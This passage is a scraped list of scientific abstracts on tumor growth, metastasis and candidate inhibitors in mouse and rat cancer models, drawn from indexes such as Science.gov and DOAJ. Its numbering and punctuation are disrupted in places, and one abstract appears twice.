assay. We observed a significantly lower number (52 ± 5 of Cl66-shCXCR2 cells invading through Matrigel compared to control cells (Cl66-control (182 ± 3 (P < 0.05. We analyzed the in vivo metastatic potential of Cl66-shCXCR2 using a spontaneous metastasis model by orthotopically implanting cells into the mammary fat pad of female BALB/c mice. Animals were sacrificed 12 weeks post tumor implantation and tissue samples were analyzed for metastatic nodules. CXCR2 downregulation significantly inhibited tumor cell metastasis. All the mice (n = 10 19. Aminoguanidine impedes human pancreatic tumor growth and metastasis development in nude mice Institute of Scientific and Technical Information of China (English) Nora A Mohamad; Graciela P Cricco; Lorena A Sambuco; Máximo Croci; Vanina A Medina; Alicia S Gutiérrez; Rosa M Bergoc; Elena S Rivera; Gabriela A Martín 2009-01-01 AIM: To study the action of aminoguanidine on pancreatic cancer xenografts in relation to cell proliferation, apoptosis, redox status and vascularization.METHODS: Xenografts of PANC-1 cells were developed in nude mice. The animals were separated into two groups: control and aminoguanidine treated. Tumor growth, survival and appearance of metastases were determined in v/vo in both groups. Tumors were excised and ex v/vo histochemical studies were performed. Cell growth was assessed by Ki-67 expression. Apoptosis was studied by intratumoral expression of B cell lymphoma-2 protein (Bcl-2) family proteins and Terminal deoxynucleotidyl transferase biotin-dUTP Nick End Labeling (Tunel). Redox status was evaluated by the expression of endothelial nitric oxide synthase (eNOS),catalase, copper-zinc superoxide dismutase (CuZnSOD),manganese superoxide dismutase (MnSOD) and glutathione peroxidase (GPx). Finally, vascularization was determined by Massons trichromic staining, and by VEGF and CD34 expression.RESULTS: Tumor volumes after 32 d of treatment by aminoguanidine (AG) were significantly lower than in control mice (P < 0.01). Median survival of AG mice was significantly greater than control animals (P < 0.01). The appearance of both homolateral and contralateral palpable metastases was significantly delayed in AG group. Apoptotic cells, intratumoral vascularization (trichromic stain) and the expression of Ki-67, Bax, eNOS, CD34, VEGF, catalase, CuZnSOD and MnSOD were diminished in AG treated mice (P < 0.01),while the expression of Bcl-2 and GPx did not change.CONCLUSION: The antitumoral action of aminoguanidine is associated with decreased cell proliferation, reduced angiogenesis, and reduced expression of antioxidant enzymes. 20. Dietary administration of scallion extract effectively inhibits colorectal tumor growth: cellular and molecular mechanisms in mice. Directory of Open Access Journals (Sweden) Palanisamy Arulselvan Full Text Available Colorectal cancer is a common malignancy and a leading cause of cancer death worldwide. Diet is known to play an important role in the etiology of colon cancer and dietary chemoprevention is receiving increasing attention for prevention and/or alternative treatment of colon cancers. Allium fistulosum L., commonly known as scallion, is popularly used as a spice or vegetable worldwide, and as a traditional medicine in Asian cultures for treating a variety of diseases. In this study we evaluated the possible beneficial effects of dietary scallion on chemoprevention of colon cancer using a mouse model of colon carcinoma (CT-26 cells subcutaneously inoculated into BALB/c mice. Tumor lysates were subjected to western blotting for analysis of key inflammatory markers, ELISA for analysis of cytokines, and immunohistochemistry for analysis of inflammatory markers. Metabolite profiles of scallion extracts were analyzed by LC-MS/MS. Scallion extracts, particularly hot-water extract, orally fed to mice at 50 mg (dry weight/kg body weight resulted in significant suppression of tumor growth and enhanced the survival rate of test mice. At the molecular level, scallion extracts inhibited the key inflammatory markers COX-2 and iNOS, and suppressed the expression of various cellular markers known to be involved in tumor apoptosis (apoptosis index, proliferation (cyclin D1 and c-Myc, angiogenesis (VEGF and HIF-1α, and tumor invasion (MMP-9 and ICAM-1 when compared with vehicle control-treated mice. Our findings may warrant further investigation of the use of common scallion as a chemopreventive dietary agent to lower the risk of colon cancer. 1. Effects of ulinastatin and docataxel on breast tumor growth and expression of IL-6, IL-8, and TNF-α Directory of Open Access Journals (Sweden) Luo Jie 2011-02-01 Full Text Available Abstract Objective This study investigated the effects of Ulinastatin (UTI and docataxel (Taxotere, TAX on tumor growth and expression of interleukin-6 (IL-6, interleukin-8 (IL-8, and tumor necrosis factor-α (TNF-α in breast cancer. Methods MDA-MB-231 human breast carcinoma cells were cultured in vitro and injected into nude mice to establish breast tumor xenografts in vivo. Cultured cells and mice with tumors were randomly divided into four groups for treatment with TAX, UTI, and TAX+UTI. The effects of these drug treatments on cell proliferation and apoptosis was measured using the MTT assay and the Annexin V/propidium iodide (PI double-staining method, respectively. IL-6, IL-8, and TNF-α expression levels were determined by measuring mRNA transcripts in cultured cells by RT-PCR and cytokine proteins in solid tumors using immunohistochemistry. Results UTI, TAX, and UTI+TAX inhibited the growth of MDA-MB-231 cells in vitro and tumors in vivo. These two drugs, particularly when used in combination, promote tumor cell apoptosis and down-regulate the expression IL-6, IL-8, and TNF-α cytokines. Conclusion Both UTI and TAX inhibited the growth of MDA-MB-231 breast carcinoma cells. UTI enhanced the inhibitory effect of TAX by a mechanism consistent with the down-regulated expression of IL-6, IL-8, and TNF-α. 2. A novel tumor-promoting function residing in the 5' non-coding region of vascular endothelial growth factor mRNA. Directory of Open Access Journals (Sweden) Kiyoshi Masuda 2008-05-01 Full Text Available BACKGROUND: Vascular endothelial growth factor-A (VEGF is one of the key regulators of tumor development, hence it is considered to be an important therapeutic target for cancer treatment. However, clinical trials have suggested that anti-VEGF monotherapy was less effective than standard chemotherapy. On the basis of the evidence, we hypothesized that vegf mRNA may have unrecognized function(s in cancer cells. METHODS AND FINDINGS: Knockdown of VEGF with vegf-targeting small-interfering (si RNAs increased susceptibility of human colon cancer cell line (HCT116 to apoptosis caused with 5-fluorouracil, etoposide, or doxorubicin. Recombinant human VEGF165 did not completely inhibit this apoptosis. Conversely, overexpression of VEGF165 increased resistance to anti-cancer drug-induced apoptosis, while an anti-VEGF165-neutralizing antibody did not completely block the resistance. We prepared plasmids encoding full-length vegf mRNA with mutation of signal sequence, vegf mRNAs lacking untranslated regions (UTRs, or mutated 5'UTRs. Using these plasmids, we revealed that the 5'UTR of vegf mRNA possessed anti-apoptotic activity. The 5'UTR-mediated activity was not affected by a protein synthesis inhibitor, cycloheximide. We established HCT116 clones stably expressing either the vegf 5'UTR or the mutated 5'UTR. The clones expressing the 5'UTR, but not the mutated one, showed increased anchorage-independent growth in vitro and formed progressive tumors when implanted in athymic nude mice. Microarray and quantitative real-time PCR analyses indicated that the vegf 5'UTR-expressing tumors had up-regulated anti-apoptotic genes, multidrug-resistant genes, and growth-promoting genes, while pro-apoptotic genes were down-regulated. Notably, expression of signal transducers and activators of transcription 1 (STAT1 was markedly repressed in the 5'UTR-expressing tumors, resulting in down-regulation of a STAT1-responsive cluster of genes (43 genes. As a result, the 3. Hypoxia induced HMGB1 and mitochondrial DNA interactions mediate tumor growth in hepatocellular carcinoma through Toll Like Receptor 9 Science.gov (United States) Liu, Yao; Yan, Wei; Tohme, Samer; Chen, Man; Fu, Yu; Tian, Dean; Lotze, Michael; Tang, Daolin; Tsung, Allan 2015-01-01 Background and aims The mechanisms of hypoxia-induced tumor growth remain unclear. Hypoxia induces intracellular translocation and release of a variety of damage associated molecular patterns (DAMPs) such as nuclear HMGB1 and mitochondrial DNA (mtDNA). In inflammation, Toll-like receptor (TLR)-9 activation by DNA-containing immune complexes has been shown to be mediated by HMGB1. We thus hypothesize that HMGB1 binds mtDNA in the cytoplasm of hypoxic tumor cells and promotes tumor growth through activating TLR9 signaling pathways. Methods C57BL6 mice were injected with Hepa1-6 cancer cells. TLR9 and HMGB1 were inhibited using shRNA or direct antagonists. Huh7 and Hepa1-6 cancer cells were investigated in vitro to investigate how the interaction of HMGB1 and mtDNA activates TLR9 signaling pathways. Results During hypoxia, HMGB1 translocates from the nucleus to the cytosol and binds to mtDNA released from damaged mitochondria. This complex subsequently activates TLR9 signaling pathways to promote tumor cell proliferation. Loss of HMGB1 or mtDNA leads to a defect in TLR9 signaling pathways in response to hypoxia, resulting in decreased tumor cell proliferation. Also, the addition of HMGB1 and mtDNA leads to the activation of TLR-9 and subsequent tumor cell proliferation. Moreover, TLR9 is overexpressed in both hypoxic tumor cells in vitro and in human hepatocellular cancer (HCC) specimens; and, knockdown of either HMGB1 or TLR9 from HCC cells suppressed tumor growth in vivo after injection in mice. Conclusions Our data reveals a novel mechanism by which the interactions of HMGB1 and mtDNA activate TLR9 signaling during hypoxia to induce tumor growth. PMID:25681553 4. Myristica fragrans Suppresses Tumor Growth and Metabolism by Inhibiting Lactate Dehydrogenase A. Science.gov (United States) Kim, Eun-Yeong; Choi, Hee-Jung; Park, Mi-Ju; Jung, Yeon-Seop; Lee, Syng-Ook; Kim, Keuk-Jun; Choi, Jung-Hye; Chung, Tae-Wook; Ha, Ki-Tae 2016-01-01 Most cancer cells predominantly produce ATP by maintaining a high rate of lactate fermentation, rather than by maintaining a comparatively low rate of tricarboxylic acid cycle, i.e., Warburg's effect. In the pathway, the pyruvate produced by glycolysis is converted to lactic acid by lactate dehydrogenase (LDH). Here, we demonstrated that water extracts from the seeds of Myristica fragrans Houtt. (MF) inhibit the in vitro enzymatic activity of LDH. MF effectively suppressed cell growth and the overall Warburg effect in HT29 human colon cancer cells. Although the expression of LDH-A was not changed by MF, both lactate production and LDH activity were decreased in MF-treated cells under both normoxic and hypoxic conditions. In addition, intracellular ATP levels were also decreased by MF treatment, and the uptake of glucose was also reduced by MF treatment. Furthermore, the experiment on tumor growth in the in vivo mice model revealed that MF effectively reduced the growth of allotransplanted Lewis lung carcinoma cells. Taken together, these results suggest that MF effectively inhibits cancer growth and metabolism by inhibiting the activity of LDH, a major enzyme responsible for regulating cancer metabolism. These results implicate MF as a potential candidate for development into a novel drug against cancer through inhibition of LDH activity. PMID:27430914 5. Selenium, but not lycopene or vitamin E, decreases growth of transplantable dunning R3327-H rat prostate tumors. Directory of Open Access Journals (Sweden) Brian L Lindshield Full Text Available BACKGROUND: Lycopene, selenium, and vitamin E are three micronutrients commonly consumed and supplemented by men diagnosed with prostate cancer. However, it is not clear whether consumption of these compounds, alone or in combination, results in improved outcomes. METHODOLOGY/PRINCIPAL FINDINGS: We evaluated the effects of dietary lycopene (250 mg/kg diet, selenium (methylselenocysteine, 1 mg/kg diet, and vitamin E (gamma-tocopherol, 200 mg/kg diet alone and in combination on the growth of androgen-dependent Dunning R3327-H rat prostate adenocarcinomas in male, Copenhagen rats. AIN-93G diets containing these micronutrients were prefed for 4 to 6 weeks prior to tumor implantation by subcutaneous injection. Tumors were allowed to grow for approximately 18 weeks. Across diet groups, methylselenocysteine consumption decreased final tumor area (P = 0.003, tumor weight (P = 0.003, and the tumor weight/body weight ratio (P = 0.003, but lycopene and gamma-tocopherol consumption intake did not alter any of these measures. There were no significant interactions among nutrient combinations on tumor growth. Methylselenocysteine consumption also led to small, but significant decreases in body weight (P = 0.007, food intake (P = 0.012, and body weight gain/food intake ratio (P = 0.022. However, neither body weight nor gain/food intake ratio was correlated with tumor weight. Methylselenocysteine, lycopene, and gamma-tocopherol consumed alone and in combination did not alter serum testosterone or dihydrotestosterone concentrations; tumor proliferation or apoptosis rates. In addition, the diets also did not alter tumor or prostate androgen receptor, probasin, selenoprotein 15, selenoprotein P, or selenium binding protein 2 mRNA expression. However, using castration and finasteride-treated tissues from a previous study, we found that androgen ablation altered expression of these selenium-associated proteins. CONCLUSIONS: Of the three micronutrients tested, only 6. Platelets are associated with xenograft tumor growth and the clinical malignancy of ovarian cancer through an angiogenesis-dependent mechanism. Science.gov (United States) Yuan, Lei; Liu, Xishi 2015-04-01 Platelets are known to facilitate tumor metastasis and thrombocytosis has been associated with an adverse prognosis in ovarian cancer. However, the role of platelets in primary tumour growth remains to be elucidated. The present study demonstrated that the expression levels of various markers in platelets, endothelial adherence and angiogenesis, including, platelet glycoprotein IIb (CD41), platelet endothelial cell adhesion molecule 1 (CD31), vascular endothelial growth factor (VEGF), lysyl oxidase, focal adhesion kinase and breast cancer anti‑estrogen resistance 1, were expressed at higher levels in patients with malignant carcinoma, compared with those with borderline cystadenoma and cystadenoma. In addition, the endothelial markers CD31 and VEGF were found to colocalize with the platelet marker CD41 in the malignant samples. Since mice transplanted with human ovarian cancer cells (SKOV3) demonstrated elevated tumor size and decreased survival rate when treated with thrombin or thrombopoietin (TPO), the platelets appeared to promote primary tumor growth. Depleting platelets using antibodies or by pretreating the cancer cells with hirudin significantly attenuated the transplanted tumor growth. The platelets contributed to late, but not early stages of tumor proliferation, as mice treated with platelet‑depleting antibody 1 day prior to and 11 days after tumor transplantation had the same tumor volumes. By contrast, tumor size in the early TPO‑injected group was increased significantly compared with the late TPO‑injected group. These findings suggested that the interplay between platelets and angiogenesis may contribute to ovarian cancer growth. Therefore, platelets and their associated signaling and adhesive molecules may represent potential therapeutic targets for ovarian cancer. PMID:25502723 7. Over-expression of p53 mutants in LNCaP cells alters tumor growth and angiogenesis in vivo International Nuclear Information System (INIS) This study has investigated the impact of three specific dominant-negative p53 mutants (F134L, M237L, and R273H) on tumorigenesis by LNCaP prostate cancer cells. Mutant p53 proteins were associated with an increased subcutaneous 'take rate' in NOD-SCID mice, and increased production of PSA. Tumors expressing F134L and R273H grew slower than controls, and were associated with decreased necrosis and apoptosis, but not hypoxia. Interestingly, hypoxia levels were increased in tumors expressing M237L. There was less proliferation in F134L-bearing tumors compared to control, but this was not statistically significant. Angiogenesis was decreased in tumors expressing F134L and R273H compared with M237L, or controls. Conditioned medium from F134L tumors inhibited growth of normal human umbilical-vein endothelial cells but not telomerase-immortalized bone marrow endothelial cells. F134L tumor supernatants showed lower levels of VEGF and endostatin compared with supernatants from tumors expressing other mutants. Our results support the possibility that decreased angiogenesis might account for reduced growth rate of tumor cells expressing the F134L p53 mutation 8. Decreased Autocrine EGFR Signaling in Metastatic Breast Cancer Cells Inhibits Tumor Growth in Bone and Mammary Fat Pad OpenAIRE Nickerson, Nicole K.; Mohammad, Khalid S.; Gilmore, Jennifer L.; Crismore, Erin; Bruzzaniti, Angela; Guise, Theresa A.; Foley, John 2012-01-01 Breast cancer metastasis to bone triggers a vicious cycle of tumor growth linked to osteolysis. Breast cancer cells and osteoblasts express the epidermal growth factor receptor (EGFR) and produce ErbB family ligands, suggesting participation of these growth factors in autocrine and paracrine signaling within the bone microenvironment. EGFR ligand expression was profiled in the bone metastatic MDA-MB-231 cells (MDA-231), and agonist-induced signaling was examined in both breast cancer and oste... 9. Inhibition of dendritic cell migration by transforming growth factor-β1 increases tumor-draining lymph node metastasis Directory of Open Access Journals (Sweden) Imai Kazuhiro 2012-01-01 Full Text Available Abstract Background Transforming growth factor (TGF-β is known to be produced by progressor tumors and to immobilize dendritic cells (DCs within those tumors. Moreover, although TGF-β1 has been shown to promote tumor progression, there is still no direct, in vivo evidence as to whether TGF-β1 is able to directly induce distant metastasis. Methods To address that issue and investigate the mechanism by which TGF-β1 suppresses DC activity, we subdermally inoculated mouse ears with squamous cell carcinoma cells stably expressing TGF-β1 or empty vector (mock. Results The numbers of DCs within lymph nodes draining the resultant TGF-β1-expressing tumors was significantly lower than within nodes draining tumors not expressing TGF-β1. We then injected fluorescently labeled bone marrow-derived dendritic cells into the tumors, and subsequent analysis confirmed that the tumors were the source of the DCs within the tumor-draining lymph nodes, and that there were significantly fewer immature DCs within the nodes draining TGF-β1-expressing tumors than within nodes draining tumors not expressing TGF-β1. In addition, 14 days after tumor cell inoculation, lymph node metastasis occurred more frequently in mice inoculated with TGF-β1 transfectants than in those inoculated with the mock transfectants. Conclusions These findings provide new evidence that tumor-derived TGF-β1 inhibits migration of DCs from tumors to their draining lymph nodes, and this immunosuppressive effect of TGF-β1 increases the likelihood of metastasis in the affected nodes. 10. Tumor growth reduction is regulated at the gene level in Walker 256 tumor-bearing rats supplemented with fish oil rich in EPA and DHA Energy Technology Data Exchange (ETDEWEB) Borghetti, G.; Yamazaki, R.K.; Coelho, I.; Pequito, D.C.T.; Schiessel, D.L.; Kryczyk, M.; Mamus, R.; Naliwaiko, K.; Fernandes, L.C. [Departamento de Fisiologia, Setor de Ciências Biológicas, Universidade Federal do Paraná, Curitiba, PR (Brazil) 2013-08-23 We investigated the effect of fish oil (FO) supplementation on tumor growth, cyclooxygenase 2 (COX-2), peroxisome proliferator-activated receptor gamma (PPARγ), and RelA gene and protein expression in Walker 256 tumor-bearing rats. Male Wistar rats (70 days old) were fed with regular chow (group W) or chow supplemented with 1 g/kg body weight FO daily (group WFO) until they reached 100 days of age. Both groups were then inoculated with a suspension of Walker 256 ascitic tumor cells (3×10{sup 7} cells/mL). After 14 days the rats were killed, total RNA was isolated from the tumor tissue, and relative mRNA expression was measured using the 2{sup -ΔΔCT} method. FO significantly decreased tumor growth (W=13.18±1.58 vs WFO=5.40±0.88 g, P<0.05). FO supplementation also resulted in a significant decrease in COX-2 (W=100.1±1.62 vs WFO=59.39±5.53, P<0.001) and PPARγ (W=100.4±1.04 vs WFO=88.22±1.46, P<0.05) protein expression. Relative mRNA expression was W=1.06±0.022 vs WFO=0.31±0.04 (P<0.001) for COX-2, W=1.08±0.02 vs WFO=0.52±0.08 (P<0.001) for PPARγ, and W=1.04±0.02 vs WFO=0.82±0.04 (P<0.05) for RelA. FO reduced tumor growth by attenuating inflammatory gene expression associated with carcinogenesis. 11. Tumor growth reduction is regulated at the gene level in Walker 256 tumor-bearing rats supplemented with fish oil rich in EPA and DHA. Science.gov (United States) Borghetti, G; Yamazaki, R K; Coelho, I; Pequito, D C T; Schiessel, D L; Kryczyk, M; Mamus, R; Naliwaiko, K; Fernandes, L C 2013-08-01 We investigated the effect of fish oil (FO) supplementation on tumor growth, cyclooxygenase 2 (COX-2), peroxisome proliferator-activated receptor gamma (PPARγ), and RelA gene and protein expression in Walker 256 tumor-bearing rats. Male Wistar rats (70 days old) were fed with regular chow (group W) or chow supplemented with 1 g/kg body weight FO daily (group WFO) until they reached 100 days of age. Both groups were then inoculated with a suspension of Walker 256 ascitic tumor cells (3 × 10(7) cells/mL). After 14 days the rats were killed, total RNA was isolated from the tumor tissue, and relative mRNA expression was measured using the 2(-ΔΔCT) method. FO significantly decreased tumor growth (W=13.18 ± 1.58 vs WFO=5.40 ± 0.88 g, Psupplementation also resulted in a significant decrease in COX-2 (W=100.1 ± 1.62 vs WFO=59.39 ± 5.53, Pprotein expression. Relative mRNA expression was W=1.06 ± 0.022 vs WFO=0.31 ± 0.04 (P<0.001) for COX-2, W=1.08 ± 0.02 vs WFO=0.52 ± 0.08 (P<0.001) for PPARγ, and W=1.04 ± 0.02 vs WFO=0.82 ± 0.04 (P<0.05) for RelA. FO reduced tumor growth by attenuating inflammatory gene expression associated with carcinogenesis. 12. Carbamate-linked lactose: design of clusters and evidence for selectivity to block binding of human lectins to (neo)glycoproteins with increasing degree of branching and to tumor cells. Science.gov (United States) André, Sabine; Specker, Daniel; Bovin, Nicolai V; Lensch, Martin; Kaltner, Herbert; Gabius, Hans-Joachim; Wittmann, Valentin 2009-09-01 Various pathogenic processes are driven by protein(lectin)-glycan interactions, especially involving beta-galactosides at branch ends of cellular glycans. These emerging insights fuel the interest to design potent inhibitors to block lectins. As a step toward this aim, we prepared a series of ten mono- to tetravalent glycocompounds with lactose as a common headgroup. To obtain activated carbonate for ensuing carbamate formation, conditions for the facile synthesis of pure isomers from anomerically unprotected lactose were identified. To probe for the often encountered intrafamily diversity of human lectins, we selected representative members from the three subgroups of adhesion/growth-regulatory galectins as receptors. Diversity of the glycan display was accounted for by using four (neo)glycoproteins with different degrees of glycan branching as matrices in solid-phase assays. Cases of increased inhibitory potency of lactose clusters compared to free lactose were revealed. Extent of relative inhibition was not directly associated with valency in the glycocompound and depended on the lectin type. Of note for screening protocols, efficacy of blocking appeared to decrease with increased degree of glycan branching in matrix glycoproteins. Binding to tumor cells was impaired with selectivity for galectins-3 and -4. Representative compounds did not impair growth of carcinoma cells up to a concentration of 5 mM of lactose moieties (valence-corrected value) per assay. The reported bioactivity and the delineation of its modulation by structural parameters of lectins and glycans set instructive examples for the further design of selective inhibitors and assay procedures. PMID:19715307 13. Combined MET inhibition and topoisomerase I inhibition block cell growth of small cell lung cancer. Science.gov (United States) Rolle, Cleo E; Kanteti, Rajani; Surati, Mosmi; Nandi, Suvobroto; Dhanasingh, Immanuel; Yala, Soheil; Tretiakova, Maria; Arif, Qudsia; Hembrough, Todd; Brand, Toni M; Wheeler, Deric L; Husain, Aliya N; Vokes, Everett E; Bharti, Ajit; Salgia, Ravi 2014-03-01 Small cell lung cancer (SCLC) is a devastating disease, and current therapies have not greatly improved the 5-year survival rates. Topoisomerase (Top) inhibition is a treatment modality for SCLC; however, the response is short lived. Consequently, our research has focused on improving SCLC therapeutics through the identification of novel targets. Previously, we identified MNNG HOS transforming gene (MET) to be overexpressed and functional in SCLC. Herein, we investigated the therapeutic potential of combinatorial targeting of MET using SU11274 and Top1 using 7-ethyl-10-hydroxycamptothecin (SN-38). MET and TOP1 gene copy numbers and protein expression were determined in 29 patients with limited (n = 11) and extensive (n = 18) disease. MET gene copy number was significantly increased (>6 copies) in extensive disease compared with limited disease (P = 0.015). Similar TOP1 gene copy numbers were detected in limited and extensive disease. Immunohistochemical staining revealed a significantly higher Top1 nuclear expression in extensive (0.93) versus limited (0.15) disease (P = 0.04). Interestingly, a significant positive correlation was detected between MET gene copy number and Top1 nuclear expression (r = 0.5). In vitro stimulation of H82 cells revealed hepatocyte growth factor (
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